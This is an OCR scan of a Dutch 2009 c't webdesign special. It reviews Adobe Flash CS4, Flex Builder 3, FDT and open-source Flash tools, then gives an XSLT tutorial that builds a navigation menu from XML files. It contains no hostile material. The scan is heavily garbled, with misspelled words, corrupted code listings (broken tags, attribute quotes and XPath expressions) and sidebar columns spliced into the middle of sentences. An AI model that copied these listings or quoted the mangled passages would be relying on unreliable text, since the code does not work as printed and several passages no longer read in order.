Maar als het om cormplexere projecten Adobe gum zichzelf en de gebmikers geen 
gaat dan simpele interactieve ammatles, rust en brengt zo'n beetje elke antierhalf 
korh je met Adobes Rash-tool niet heet erg jaar een nieuwe versie uit van Flash en Flash 


c’t special 1/2009 - Webdesfgn 


F lash-applicaties zijn tegenwoordig op 
zo p n beetje elke computer af te spelen, 
Adobe btedt de Flash Playerplug-fri 
nameijjk voor zo'n beetje a lie denkbare ap- 
paraten aan, van pc's tot mobiele telethons, 
waardoor content in het Small Web Format 
(SWF) platformonafhankeifjk kan warden 
weergegeven. SWF-bestanden beyatten in¬ 
ter preteerba re bytecode en ressources afs 
afbeeldingen en gefuld* 
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Player, De meest recente versie, Flash C54 
Professional (vanaf ca, 830 euro of onder- 
dee I van de Creative Suite; zie kader) kwam 
in het najaar van 2008 uit en is ook in het 
Nederlands verkrijgbaar; iets eerder ver- 
scheen Flash Player 10 voor Windows, Mac 
OS en Linux. Om optlmaal gebruik te kunnen 
maken van de nieuwste features in Flash CS4 
heb je wel per se die laatste versie van Flash 
Player nodig. 

Het Flash-systeem is vooral goed in het 
vormgeven van webcontent en animatles. 
De hieraan ten grondslag liggende metho- 
diek is ontleend aan de filmwereld en is ook 
voor minder ervaren ontwikkelaars en desig¬ 
ners makkelijk onder de knie te krijgen. Ben 
je een klassieke programmeur en gewend 
om te werken met Java of C++, dan komt dit 
systeem een beetje vreemd over en zu! je 
even moeten wennen aan de talloze design- 
tools en tijdbalk. 

Flex: Flash voor programmeurs 

Met de softwareoplossingen uit de Fiex- 
familie doet Adobe programmeurs een 
machtige suite voor het schrijven van 
Flash-appMcaties aan de hand. Flex 3 is 
technisch verbeterd ten opzichte van z'n 
voorganger en richt zich met gratis en 
opensource onderdelen zowel op gele- 
genheids- als professionele programmeurs. 
Met Flex biedt Adobe code-georienteerde 
Flash-ontwikkelaars hulp bij het integreren 
van databronnen en het vormgeven van 
gebruikslnterfaces. 

De werkwljze met Flex heeft meer weg 
van het klassieke programmeerwerk in 
bijvoorbeeld Java dan het schuiven met 
elementen op een tijdbalk, zoals dat in de 
Flash-wereld gebruikelijk is. Op de keper 
besehouwd hebben Flash en Flex alleen 
het bestandsformaat SWF en de runtime- 
omgevlng gemeen. Applicaties die in Flex 
zijn geprogrammeerd, kun je niet openen 
met Flash. Gmgekeerd kan Flex wel de con- 
tent uit SWF-bestanden extraheren. Om 
Flex-applicaties te kunnen afspelen heb je 
minstens Flash Player versie 9 nodig, De 
mobiele versie Flash Lite kan er in ieder 
geval niks mee aanvangen. Net als bij Flash 
CS4 kun je met Flex ook exporteren naar 
desktop-runtimeomgeving AIR (Adobe In¬ 
tegrated Runtime). 

De gratis Flex 3 SDK (Software Develop¬ 
ment Kit) bevat het Flex Framework - een 
klassenblbliotheek voor webapplicaties 
met typische desktopelementen - een 
compiler, documentatie en voorbeefden, 
Als ontwikkelaar heb je alleen nog een edi¬ 
tor nodig voor het schrijven van de code. 
Dat kan in de scripttaal ActionScript (even- 
eens versie 3) of het XML-formaat MXML. In 
Flex 2 moesten de gebruikte Framework- 
onderdelen van elk project nog in de SWF- 
bestanden geexporteerd worden. Sinds 
versie 9.0.115 kan Flash Player deze code 
echter bfijvend cachen, waardoor de resul- 
terende applicaties aanzfenlijk compacter 
zijn. 


Tot de toch veelzijdige lay-outopties van 
Flex 3 behoren bljvoorbeetd de ■Enhanced 
Constraints 7 , waarmee je GUI-elementen 
met behulp van regel- en kolomopgaves 
ten opzichte van elkaar kunt uitlijnen. fn 
het framework zitten ook componenten 
voor Charts en Advanced DataGrid, een 
krachtige component voor datatabellen, 
Deze laten in de applicaties echter een wa- 
termerk achter, wat pas verdwljnt als je het 
dure Flex Builder Professional aanschaft. 

Flex Builder 

De ontwlkkelomgeving Flex Builder 3 voor 
Windows en Mac OS is inclusief Flex SDK 
kant en klaar geconfigureerd. Adobe werkt 
momenteel ook aan een Linux-versie. Daar- 
van verscheen in augustus een vierde al- 
faversie. De software kan als plug-in voor 
de krachtige opensource ontwikkelom- 
geving Eclipse gefnstalieerd worden of 
als compleet pakket inclusief Eclipse. De 
Standard-versie kost ongeveer 215 euro; 
het verwijderen van het watermerk in som- 
mtge componenten en de Profiler, waarmee 
je geheugen- en snelheidsproblemen kunt 
opsporen, blijft voorbehouden aan de circa 
450 euro kostende Professional-variant. 

Dankzij de wizards en de goed gekozen 
standaardconfiguratie maak je een snetle 
start met nieuwe projecten. Een Import-wi¬ 
zard maakt ActEonScript-3-klassen aan voor 
webservices (WSDl), waardoor 'type safety 1 
en een hoge snelheid gewaarborgd zijn. 
Bij het ontwikkelen van datagedreven ap¬ 
plicaties helpt bovendien het automatisch 
genereren van server-codesnlppets voor 
databasebenaderingen in ASP.NET, Java of 
PHP. 


Flex Builder kan met behoorlijk wat for- 
maten omgaan, waaronder afbeeldingen 
in PNG, GIF en JPG of Flash in de vorm van 
SWF en SWC (ActionScript-bibllotheken). 
Gereedschappen om deze formaten te be- 
werken, ontbreken echter. Verwijzlngen 
naar de diverse uitbreidingsmogelijkheden 
door andere Adobe-producten zoals Flash, 
Photoshop, Fireworks of Illustrator kom je 
hooguit toevallig tegen, Vaak heb je hler- 
voor een gratis extensie nodlg, waarvoor 
je je alleen maar hoeft te registreren, Een 
voorbeeld is de Flex Component Kit for 
Flash, waarmee Flash-inhoud inclusief ani¬ 
maties, toestanden en programmacode de 
weg naar Flex overleeft 

Met behulp van een wizard ('Import Skin 
Artwork 1 ) kun je grafische bouwstenen di¬ 
rect voor Flex- mterfacecomponenten ge- 
bruiken. Het resultaat is een CSS-bestand 
dat je in een andere visuele editor met 
previewfunctie kunt bewerken. De design 
weergave van Ffex Builder 3 beschikt over 
een loep en kan lay-outcontainers naar 
voren halen. 

Hoewel Flex Builder met elke nieuwe 
versie weer aanzienlijk aan functionaliteit 
en gebruiksgemak wint, kan het nog met 
tippen aan functleomvang van Eclipse voor 
het ontwikkelen van Java-applicaties. Zo is 
syntax-highlighting niet mogelijk en kun je 
fouten ook niet in real time bekijken zonder 
eerst een tijdrovend compifatseprooes te 
doorlopen. Concurrent FDT scoort op dat 
gebied betec 

Alternatief FDT 

Ook de ontwikkeltool van de Duitse soft- 
waremaker Powerflasher is een Eclipse- 





Hoewel Flex Builder geen designtools biedt, kun je door de wizards en CSS makkelijk 
veel variaties in de lay-out van een interface aanbrengen. 
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plug-in. Het is een aardig alternatief voor 
Flex Builder, omdat het In tegenstelling 
tot Adobe veel programmeerwensen wel 
in vervulling last gaan - van automatische 
code-completion voor zelfgeschreven klas- 
sen en automatisch ingevoegde import* 
instructies tot foutmeldlngen en correctie- 
voorstellen bij het invoeren van code. Tools 
voor de grafische vormgevtng ontbreken 
daarentegen, waardoor FDT eerder een 
aanvulling is op het Flash-systeem dan een 
vervanging, 

Vergeleken met Flex Builder moet bij FDT 
nog veel geinstalleerd en geconfigureerd 
worden. Sinds versie 3.1 is configureren wel 
een stuk makkelijker geworden, omdat de 
Flex-SDK inclusief compiler nu zijn inbegre¬ 
pen. Inmiddels kan de ontwikkelomgeving 
ook met ActionScript 3 uit de voeten; bi- 
bllotheken in SWC-formaat worden onder- 
steund en de inhoud wordt overzichtelijk 
in de Verkenner weergegeven. Versie 3.2 
ondersteunt ook het AetionScript-alterna* 
ttef MXML 

De talrijke templates en omvangrljke 
configureerbare opmaakhulp maken het 
bewerken van code eenvoudiger, zodat 
ook wat siordigere programmeervirtuozen 
optisch mooie code kunnen produceren. 
Daarnaast voorkom je fouten doordat code 
tijdens het typen automatisch wordt aan- 
gevuld, De verschillende weergaven (Quick 
Views) van de structuur en bestandstypen 
van een klasse maken het makkelijker het 
overzicht te behouden en helpen om snel 
code blocks op te sporen. 

De refactoring in FDT past bij veranderin- 
gen de daarvan afhankelijke code automa¬ 
tisch aan. Daarbij moet je denken aan het 
bijwerken van packages en klassennamen 


en het omnoemen van eigenschappen en 
methoden, Bijzonder nuttig is de real-time 
weergave van fouten, waarvoor dan in de 
meeste gevallen ook een goede correctie 
wordt voorgesteld, die dan ook meteen 
kan worden toegepast. 

Ambitieuze Eclipse-programmeurs profi- 
teren van het feit dat FDT is gebaseerd op 
het softwa replatform G5GL Dlt platform 
maakt weer gebruik van een open, modu- 
taire, schaalbare en servicegeorienteerde 
architectuur, Hierdoor kan FDT makkelijk 
via Extension Points worden uitgebreid 
met eigen plug-ins. 

FDT is alleen niet echt goedkoop: de ba- 
sisversie kost met 350 euro meer dan de 
Standard-versie van Flex Builder. Maar om 
echt snel te kunnen zoeken en om biblio- 
theekeontent (5WC) en Quick Views te kun¬ 
nen weergeven, moet je de professionele 
versie hebben. Om te kunnen debuggen 
moet je zelfs de FDT Enterprise-variant erbij 
halen, die ook weer duurder is dan de Pro- 
fessional-versie van Flex Builder 3. AIs je de 
tool ovengens gebruikt voor opensource- 
projecten, dan kun je van Powerflasher een 
gratis Enterprise-versie krijgen. 

Opensource Flash 

Flash met opensource tools - dat klinkt in 
eerste instance wat tegenstrijdig, maar is dat 
zeker niet dankzij een levendige ontwikkel- 
community op de Open Source Flash-portal 
(zie softlink). Behalve voor de ontwikkelom- 
gevingen biedt de opensourcecommunity 
ook alternatieven voor de runtimeomgevin- 
gen en compilers van Adobe. 

Maar ook Adobe houdt zich inmiddels 
bezig met opensource. Met Flex 3 wordt 



Ongewoon, maar krachtig: het nieuwe bewegmgsmodel maakt objectgebaseerde anima¬ 
tes mogelijk. 


de productserie vergaand vrijgegeven en 
vallen veel onderdelen van de SDK onder 
versie 1/1 van de Mozilla Public License. 
Ook nightly builds en releaseversieszijn te 
downloaded De nieuwe manier van wer- 
ken is ook af te lezen aan de aanwezigheid 
van de bugtrackingsystemen, waarin ook 
closedsourceproducten als Flash Player en 
Flex Builder zljn opgenomen. 

Hierdoor hebben de open Flash-tools 
lets van hun aantrekkingskracht verloren. 
Zo is het bijvoorbeeld vrij stil geworden 
rond de ontwikkelomgeving OpenLaszIo, 
die door IBM wordt ondersteund en net 
als Flex Builder en FDT op Eclipse is geba¬ 
seerd. 

Als je een goed begrip wilt krijgen van 
het Small Web Format, dan is de verwij- 
zing naar Alexis op de softlink een goed 
startpunt Deze beschrijving vormt ook de 
basis voor de SWF-bytecode-assembler en 
-disassembler Flasm. 

Een aantal tools kan SWF-bytecode ook 
direct uit ActionScript-klassen compileren. 
Een populaire applicatie om ActionScript 
2-broncode te compileren is de Motion- 
Twin ActionScript 2~tompiler van Nicolas 
Canasse, oftewel MTASC Programmeurs 
die het zonder grafische ontwikkelomge- 
ving kunnen stellen, moeten eens serieus 
naar dlt commandlineprogramma kijkem 
Het wordt door veel andere tools gebruikt, 
maar helaas niet meer verder ontwikkeld. 
Opvolger haXe biedt behalve een compiler 
ook een eigen programmeertaal en levert 
zodoende een oplossing voor iedereen die 
ztch niet met ActionScript wll bezigbou- 
dem 

De inspanningen van de ontwikkelaars 
zijn echter niet gestopt bij het onderzoe- 
ken van het Flash-formaat, Ook de proto- 
collen die door Flash Player worden ge¬ 
bruikt, zijn allang geen gehelm meer. Een 
voorbeeld is het Action Message Format 
(AMF), waarmee de speler achteraf gege- 
vens kan faden van typische programma's 
als Flash Remoting, BlazeDS of LiveCyde 
Data Services. Het PHP-project AMFPHP 
biedt een alternatief voor deze dienst. 

Voor audio- en videostreams is er de 
Flash Media Server van Adobe, die be- 
wegende beelden via het Real-Time Mes¬ 
saging Protocol (RTMP) naar de player 
verstuurt. Het zich snel ontwikkelende 
RedS-project kan nu at in veel opzichten 
met de Flash Media Server eoncurreren. 

Conclusie 

De mogelijkheden van het Flash-formaat 
(SWF) zijn in de loop van het meer dan 
12 -jarige bestaan uitgebreid van simpele 
vectoranimaties tot krachtige games en 
programma’s. Adobe Flash heeft door de 
Jaagdrempeligheid bijgedragen aan het suc- 
ces van het formaat. Toch kan het systeem 
van Adobe de ontwikkelingen met het for¬ 
maat niet bijhouden en is het ondanks veel 
kleine verbeteringen amper geschikt voor 
grotere projecten. Voora! de code-editor is 
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Flash CS4 Professional 


De huidige versie van Flash heeft een aanta! 
nieuwe functles en bedieningsconcepten. 
Zodra je het programma opent, trekt bet 
verticals eigenschappenvenster meteen 
de aandacht. Vooral in breedbeeldformaat 
houd je hiermee meer ruimte over voor je 
project Ook de tijdbalk heeft een metamor- 
fose ondergaan en lijkt meer op zijn tegen- 
hanger in After Effects en Premiere. 

Ook op andere gebieden liggen het uiterlijk 
en de bediening in vergelijking tot vorige 
versies meer op een fijn met de a ndere pro- 
ducten ult de Creative Suite. Bij de publica- 
tie van films en applicaties komt Flash CS4 
niet alieen tegemoet aan deeisen van Flash 
Player, maar voor het eerst ook aan die van 
Adobe runtimeomgeving AIR. 

Een nieuw XML-formaat genaamd XFL is 
bedoeld voor het uitwisselen van Flash- 
broncodebestanden. XFL-bestanden bevat- 
ten dezelfde informatie als het proprietaire 
FLA-formaat Je kunt ze dan ook op precies 
dezelfde manier bewerken en openen. Tij- 
dens het opslaan genereert Flash evengoed 
een FLA-bestand. Het sehrijven van XFL is 
tot dusver alieen mogelijk met andere Ado- 
be-programma’s, zoals InDesign en After 
Effects. 

Opmaak 

De tekstopmaak is met Flash Player 10 aan- 
zienlijk verbeterd dankzlj de nieuwe Flash 
Text Engine (FTE). In het bijbehorende Ac- 
tionScript-pakket (flash.textengine) zitten 
ruim dertig klassen voor de exacte tekstop¬ 
maak verborgen en high-end tekstverwer- 
king met Flash lijkt no dus binnen hand- 
beret k. Met Buzzword werkt Adobe ook a! 
aan een adequate oplossing. Hiermee zou 
je zelfs Flash in pdf-documenten kunnen 
gebruiken. 

Een andere nieuwe optie bij de publicatie- 
instellingen is de hardwareversnelling. Net 
als voorheen heb je de keuze tussen de 
standaard browserinstellingen, de stan- 
daard hardwareversnelling - onder Win¬ 
dows DirectX 9 en onder Mac OS X en Linux 
OpenGL- of degrafische processor. Interes- 
sant genoeg leiden deze nieuwe standen 
niet per definitie tot snellere weergaven; ze 


nog steeds een aanfluiting. Adobe adviseert 
Flash-program meurs dan ook om Flex Buil¬ 
der te gebruiken, omdat je daarmee bij am- 
bitieuze projecten aanzienlijk productiever 
wordt. 

Wrj zouden nog gelukkiger met Flex Buil¬ 
der zijn als Adobe de editors voor de Flex- 
talen ActionScript 3 en MXML wat beter had 
onderhouden. Veel basisfuncties als syntax 
highlighting of foutmeidingen in realtime 
zitten er nog steeds niet in. 


kunnen de performance zelfs verslechteren. 
Bovendien loop je het gevaar dat als je op 
de grafische kaart vertrouwt, content op 
verschillende systemen er mogelijkerwijze 
anders uitziet. 

Nieuwe tools zijn Deco en Spray Brush 
(Sproei pens eel) die zich betde op dezelfde 
maniergedragen. Deco voegt een regelma- 
tig patroon toe aan een object. Het Sproei- 
penseel maakt ook een patroon, maar dan 
op de manier als een spuitbus. Als overeen- 
komst hebben beide tools dat als basis voor 
het patroon ook een symbool kan dienen. 

Beweging 

Het grootste verschil met de vorige versie 
is waarschijnlijk het nieuwe animatiebe- 
wegingsmodel. Net als bij After Effects en 
Microsoft Expression Blend ondersteunt dit 
model objectgebaseerde animaties. De au- 
tomatische berekening van de tussenstap- 
pen van een animatie (Tweens) wordt nu 
direct op objecten in zogenaamde Proper¬ 
ty-frames toegepast in plaats van op Key- 
frames. Hierdoor kan elk afzonderlijkanima- 
tieattribuut precies worden aangestuurd. 
Het is wel even wennen als je overstapt van 
de oude (maar ook nog mogelijke) tweens. 
De betere stuurmogelijkheden zul je echter 
ook snel waarderen. 

De bediening van de 'bewegingseditor 1 is 
wat priegeiig, Je moet je vooral niet van de 
wijs laten brengen door de open- en dicht- 
klappende iagen, Je zult waarschijnlijk een 
beetje moeten oefenen om de vectorpa- 
den met de muis te pakken te krijgen. Als 
je dtt eenmaal onder de knle hebt, kun je 
de afzondedijke parameters voor het rote- 
ren, de grootte, de schaai, posltie en filters 
precies instellen. Ook de versneiling van 
een animatie stel je met behulp van cur- 
ven grafisch in. Een ander pluspunt is het 
bedieningsveld voor standaard ingestelde 
bewegingstweens, waar je kant-en-klare 
bewegingsverbpen vindt en eigen bewe- 
gingsverlopen kunt toevoegen. 

Je kunt Flash-websites nog indrukwekken- 
der maken met bijvoorbeeld Pixel Bender. 
Hiermee maak je filters, overgangen en vui- 
lingen voor verschillende, andere program- 


Op dat gebted scoort concurrent FDT beter. 
Van alle ontwikkelomgevingen is dit pro¬ 
gramma voor Flash-program meurs nog ab- 
soluut het beste alternatief. Als je hiermee 
eenmaal een project hebt afgewerkt, merk 
je hoeveel comfort de software biedt ten op- 
zichte van Flash. Lay-outtools tref je bij FDT 
en Flex Builder echter niet aan, dus geheel 
zonder Adobe Flash kun je ook weer niet. 

Jammer dat er nog geen Flex Builder be- 
staat met het codecomfort van FDT en de 


ma r s. Deze filters kun je dankzij diverse, 
nieuwe ActionScript-klassen als de Shader 
niet alieen tijdens het ontwikkelen gebrui- 
ken, maar ook als ze worden uitgevoerd in 
de Player. 

De derde dimensie heeft nu eindelljk ook 
in Flash zijn intrede gedaan, ai gaat het hier 
eerder om 2,5D dan om 3D: Flash Player 
ondersteunt namelijk alieen driedimensio- 
nale transformatie en animatie van tweedi- 
mensionale oppervlakken. Flash CS4 bevat 
biervoor twee tools voor het draaien en ver- 
schuiven op de drie ruimtelijke assen X, Y en 
Z. Vanzelfsprekend kun je ook het verdwijn- 
punt en de brandpuntsafstand (in graden) 
instellen. In de ontwikkelomgeving kun je 
dit alieen voor alle elementen tegelijkertijd 
instellen. Pas met Act ion Script en nieuwe 
klassen zoals Matrix3D, Utils3D en Vector3D 
kun je alle details zelf regelen. 

Het is niet mogelijk inverse kinematica met 
ActionScript te maken, je komt er dan niet 
omheen Flash CS4 Professional te gebrui¬ 
ken. Hier bij kun je met behulp van het ge- 
reedschap Bone skeletten in vormen invoe- 
gen of instances via botten en gewrichten 
met elkaar verbinden. De afhankelijkheden 
van de objecten in het bijbehorende totale 
skelet kunnen tijdens het ontwikkelen In- 
gesteld worden of bij de uitvoer, om zo ani¬ 
maties te krijgen die zo natuurlijk mogelijk 
overkomen. 

Code 

Los van de discussies over ECMAScript 4 is 
het daarop gebaseerde ActionScript verder 
gegroeid. De spectaculairste vernieuwing 
zou voor programmeurs de nieuwe Vector- 
klasse kunnen zijn, Voor het eerst wordt 
nu ook op fouten gecontroleerd. Vectoren 
kunnen hiermee op dezelfde manier a is de 
array-kiasse wordt gebruikt, aangevuld met 
de typopgave van de in houd. 

Ook de reeds genoemde klassen bij tekst. 
Pixel Bender, 3D en inverse kinematica zijn 
nieuw. Bovendien kun je nu gelutden tij¬ 
dens de runtime genereren, primitive vor¬ 
men gemakkelijker met de graphics-klasse 
tekenen en bestanden vanuit de browser 
per FileReference lokaal laden en opslaan. 


designtools van Flash. Misschien dat de net 
aangekondigde en van een nieuwe naam 
voorziene Flash Builder 4 wet het gewenste 
comfort biedt Desondanks biedt de markt 
aardig wat commerciele en opensourcesoft- 
ware om SWF-bestanden te maken. Soms 
hoef je er niet eens licentiekosten voor te be- 
talen. (mvdm) 

{ Softlink09WD088 dt 
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B ij een dynamlsche website denk je al snel 
aan server-side programmeertalen ah 
PHP en ASP of JavaScript-code die in de 
browser wordt uitgevoerd. Maar daartussen zit 
nog een aiternatief: XML In de browser wordt 
dat omgezet in XHTML. Hlerbij wordt geen 
scripttaal gebrulkt, maar de XML-technologie 
XSLT (extensible Stylesheet Language Trans¬ 
formation). 

Ook al heb je nog nooit van XSLT gehoord, 
de kans is groot dat je er (onbewust) toch al 
eens mee te maken hebt gehad: alle moderne 
browsers kunnen er namelijk a I een tijdje mee 
overweg en dat ook nog eens snel: in slechts 
een fractle van een seconde maakt de browser 
van het XSLT-sjabloon en de XML-gegevens 
een gewone XHTML-pagina. 

Met deze techniek worden de voordelen 
van server- en client-side programmeren met 
elkaar gecombineerd. Bij JavaScript en Flash 
zijn XSL-transformaties niet uit te schakelen 
en ook niet echt vetlig. De server hoeft slechts 
statlsche documenten te leveren. De pagina’s 
werken ook als ze in het lokale be stand ssys- 
teem worden opgeroepen. Daarnaast zijn XML- 
en XHTML-code onderling te mengen. 

Het toepassingsgebied vaneert van het 
weergeven van databasegegevens tot com¬ 
plete navigatlemenu f s. Veel XSLT-toepasslngen 
zijn compact te houden, terwijl veel Java Seri pt- 
applicaties meer code nodlg hebben. 

Hallo XML-wereid 

Een eenvoudig voorbeeld ziet er als voigt uit: 

<hm[ version='T.O" encoding- r 'UTF-8' 1 ?> 

<data> 


Hallo wereld! 

</date> 

Na de verplichte XML-header met informatie 
over de tekenset voigt een zelfgedefinieerd 
<data>-element. Met XML kun je immers zeff je 
g eg evens ordenen en op welke manier maakt 
niet uit. Als je deze code in een bestand zet en 
dat in de browser openi krijg je de geformat- 
teerde XML-codetezien (Internet Explorer, Fire- 
fox) of alleen r HaIIo wereldT (Opera, Safari). Om 
daar een echte website van te maken, heb je 
een XSLT-sjabloon nodig: 

<?xml version =' 1,0 n encoding= "UTFfT?> 
ocsLstylesheet version="1.G M xmlns:xsl-/ 

11 http://www. w3 .0 rg /1999/XS L/T ra n storm” > 
cxsLtemplate match =T> 

<html> 

<head> 

<t itEe> Voo rb eeld </tltle > 

</head> 

<body> 

<h 1 > <xsl:va lue-of select=". 7> 

</h1> 

</body> 

</html> 

</xslTempLate> 

</Ksl:styLesheet> 

In dit kleine bestand staan de XSLT- en de XHTML- 
elementen door elkaar. Om ze uit elkaar te hou- 
den, kent de tweede regel aan XSLT de name- 
space 'xsf toe. Nu kunnen alle XSLT-tags worden 
herkend aan de prefix xsl:. 

Door het element <xsl:temphte> is een tem¬ 
plate gedeftnieerd. Het match-attribuut geeft 
aan welke elementen uit de gegevens door de 


template moeten worden verwerkt. Die gege¬ 
vens bepalen vervolgens of en wanneer deze 
template wordt toegepast. De schuine streep 
heeft betrekking op het rootelement <data> 
tn het XML-bestand. Hier had in principe ook 
match-"data 1 " kunnen staan. 

Dan komt er een tweede XML-techniek bij. 
Met XPath kun je bij iedere wiltekeurige piek in 
een XML-document komen. XPath wordt dan 
ookgebruiktin het seLed-attribuut van <xsl:value- 
of>. De punt betekent de huidige node' in de 
hterarchie van de XML-elementen en is in dit 
geva! dus weer het <data>-element met diens 
inhoud. 

De XML-code in iedere template moet lo- 
kaal en zuiver zijn. Hierdoor mag een element 
niet in de ene template nog geopend zijn, 
terwijl die in een andere template wordt ge- 
sloten. 

Nu moeten de gegevens en de template 
nog aan elkaar worden gekoppeld. Voeg hier- 
voor in het XML-bestand direct na de XML- 
header eerst de vofgende rege! toe: 

cfrml-stylesheet type= lr textM" href='haHowereld.xsL N ?> 

Als je het XML-bestand in de browser opent, 
wordt de ingebouwde XSLT processor ge start. 
Die geeft de inhoud van de template door aan 
de weergave-engine, maar vult eerst het value- 
of-element met de inhoud van <data>. 

Mengelmoes 

De template hoeft niet alleen met kale tekst ge- 
vuld te worden. je kunt er alle mogelijkheden 
van XHTML gebruiken; de parser heeft daar 
geen problemen mee: 
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Met XSIT kun je een XML-bestand omzetten in iets anders. Bijvoorbeeld 
in HTML, tn alle moderne browsers gaat dat snel en betrouwbaar. Met 
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kunnen vorm en inhoud van elkaar worden gescheiden. Op die manier 
kun je XML op ontelbaar veel manieren gebruiken. 
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<M versions'll 11 encoding="UTf- 8 "?> 

< ?Kml-stylesheet type= h text/xsl" href= M hallowerelcL>d M ?> 
<dafa> 

<p> 

Hallo WereLd! 

<img srt="aarde*png" alt^'Moeder Aarde7> 

</p> 

</data> 

Om ervoor te zorgen dat het voorbeeld ook 
werkt, moet je de template een beetje aan pas- 
sen. In plaatsvan <h 1 xxsl:valye-of selects 1 2 3 4 5 6 7 8 9 10 ."/></ 
h 1 > moet je <xsl:copy-of seLect— rt / 7 > gebruiken, 
Hiermee worden de XHTML-elementen in de 
tekst een op een mee gekopieerd. 


1 <?x®L versi&n=' f 1.0" enc0ding="UTF-8"7> 

2 <x$L:stylesh@et versiori- ri 1.0" 
xmtns:xsl="httpi//%iHH,w3.orgn999/XSL/Transform' l > 

3 <x&L:template match— 

4 <ht®L> 

5 <h e ad> 

6 <t1 tle>Mavigiti e iel XRL</t \ t Ie> 

7 <Link reL-'styLesheet" hre’f= N stiiL.css , 7> 

8 <7head> 

9 «body> 

10 <div id="'menus”> 


XML-menu 

Menu's zijn in het algemeen - net als XML - hi- 
erarchisch opgebouwd. Het figt dan ook voor 
de hand dat daar XML brj te gebruiken is: 

< ?xm t version=" 1,0 ir encoding^'' UTF- 8 " ? > 

<menu> 

<thema href= r 'xml.xml" ieKt="XML"> 

<thema href= M xbtmLxml" text="XHTML7> 

<thema href-''xsLxmL' text—''X5L"> 
cthema href^'xslLxmL" texfc="XSLT7> 

<thema href—' "xpath.xml” text—"XPath "/> 

</thema> 

</thema> 

</menu> 

leder <thema>-element staat voor een menu- 
item en een link (href) en een tekst (text), 

Zo'n menu zal op zichzeif met in de 
browser verschijnen, maar onderdee! van 
meerdere paginal vormen die via XSL wor¬ 
den weergegeven. Bij pure XML-bestanden 
kun je bestanden echter op geen enkele 
manier importeren of koppelen; in XSLT kan 
dat wel. Zo'n structuur kun je in een DTD 
(DocumentType Definition) als entiteit de- 
finieren [bijvoorbeeld &menu} en in ieder 
XML-bestand inbouwen, maar dat is wel 
een rotklus, 

Het is veel efeganter om het XML-menu 
in de style- sheet te integreren, wat kan met 
het XSL-commando docymentCbestandsnaam"). 

In de listing rechtsboven be staat de HTML- 
body nu uit twee <div>-delen: een voor het 
menu en een voor de pagina-inhoud Het deel 
van de inhoud komt overeen met het vorige 
voorbeeld, maar nu is de voorwaarde voor 
het te kopieren element wat specifieker. De 
X Path-syntax is in regel 14 haalt het child-ele¬ 
ment {/*) uit het element 'data 1 (Iname]= ri data" 
wat op zich weer het eerste child (*[ 1 ]) van 
het root-element (/) is. In tegenstelling tot de 
meeste gang bare program meerta len beginr 
XPath ook echt bij 1 te tellen en niet bij 0. 
Als de XSL-stylesheet voor het menubestand 
wordt opgeroepen, 
blijft het inhouds- 
deel leeg. 


Met < xs i :a pply-tem platess elects "do cu me fit ., t 7 > 
(regel 1 ) wordt het menubestand toege- 
voegd - of beter gezegd alle <thema>-ele- 
menten van het hoogste niveau - en wordt 
de inhoud van de tweede template van de 
stylesheet uitgevoerd. 

Door het attribuut match="thema'’ (regel 
19) haalt deze template ieder menu-item 
op. Dat werkt echter alleen als je dat met 
< xsi: a p ply te m plates select= M * 7 > (regel 22 ) ook 
voor alle lagerliggende menu-items doet. 
Met een CSS-opdracht als .thema (padding-left: 
20 pxj} in stijl.css spnngen de submenu's ook 
wat in. Ook andere weergavedetaifs worden 
in dit CSS-bestand opgeslagen. 

De opdracht <xsl:va[ue-of select—"^text 11 /> 
zet de inhoud van het text-attribuut van de 
<thema>-eJementen in het uiteindelijke docu¬ 
ment Zo zou dat eigenlijk ook met het href- 
attribuut moeten gaan, maar de schrijfwijze 
<a href — 11 <xsL:value-of seLecl="@href: M >"> is helaas 
nSet toegestaan -tags mogen namelijk geen 
tags bevatten. 

Voor zuike complexere gevalfen heeft XSLT 
een constructie die met de volgende syntaxis 
andere elementen kan maken: 

<xsl:element name- M a M > 

<x 5 l:attribute name= f 'href'> 

<xsL:vaLue-of select— 1 lp (®href7> 

</xsl:attribirte> 

<xsl:vatue-of sdett= ,r @text7> 

<M:ekment> 

Het <a>-element bevat de tekst van de link 
en het bref-attribuut. De laatste bevat op ztjn 
beurt weer de feitelijke url. 

Het kan echter ook wat makkelij ker met de 
hier gebruikte schrijfwijze <a href=''{@href}">. 
Dergelijke Attribute Value Templates' tussen 
accolades zijn toegestaan in alle elementen 
die niet bij de XSL-opdrachten horen, 

Dynamiek 

Het menu is nu op alle pagina’s hetzelfde. Dat 
betekent dat de pagina waar je op zit ook nog 
in het menu als klikbare link wordt weergege¬ 
ven. Als een pagina wordt weergegeven, wil je 
dat de entry ervan op dat moment in het menu 


11 <xsi: apply- templates select=''dccument( Mentis. ml 1 )/me nil schema"/? 

12 <h$U> 

13 <div id^Tnlioud"* 

14 <xsl:copy-of «eLect=± 41 /l[naMe() = 'data']/*"/> 

15 </div> 

16 </body> 

17 </K t mL> 

18 </xs11template 

19 <xshte«plate match- M th-&ma N > 

20 <p c L a s s= ,r thena 11 > 

21 <a href="tS)hre1}"><xsUvaLue-of selec;t-"3)test J '/></a> 

22 <xsL:apply-teinplates seiect=' , * ,l /> 

23 <tp> 

24 </isl:tei|]late> 

25 </x5L:stylesheet> 


Dit XSLT-bestand maakt van twee eenvoudige XML-bronnen een 
kekke website indusief navigatiemenu. 


1 <xal:varlable rvaie="bestaridsnaam" select""/data/Sbest3ndsTiaani rt /> 

2 <xsl:template match=”the*a”> 

3 <3t s L: c SiCHjs e> 

4 <xsL:nhen test-'descendant::themalShref =■ tbestandsnaam] |r > 

5 <div cLass="the»a"> 

<a href-"{5)href}">< ksL: vaLue-of select= l, Staxt"/></a> 
<xshapply-te«plates seIect“"*"/> 

</div> 

</xst:when> 

<xshfciiierv test= r, ahref = Sbestandsnaai' c > 

<div cLasg="theisa“actLieal "> 

<b>-<xsL:va 1 ue-of s<&lect-"atesct"/> r </b> 

<xshappLy-te®pLates select="*'V> 

</iU> 

</xsL:whert> 

<x^L;otherMise> 

<a href= N {ahref}"><xshvatue-of saLect= i, 5text"/></a> 

</div> 

</xsl:otheniise> 

<7xsL:dioose> 

22 <7x5,1:template> 

XSLT ondersteunt variabelen en voorwaarden, waarmee het zieh 
programmeertaal mag noemen. 


7 

8 

9 
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De XML-familie 

U bon hier SGML XML XSL XSLT 


SGML 

XML 

XSL 

XSLT 

XHTML 

ovengg 

HTML 


XSLT 

De Extensible Stylesheet Language Transformations (XSLT) client voor bet omzetten 
van een c\iDekeurige XML -stmdimr in ecu ^illekeurige andere XML- of 
tekststructour 


Gereed 


j. Deze coenputer 


\ 100% * 


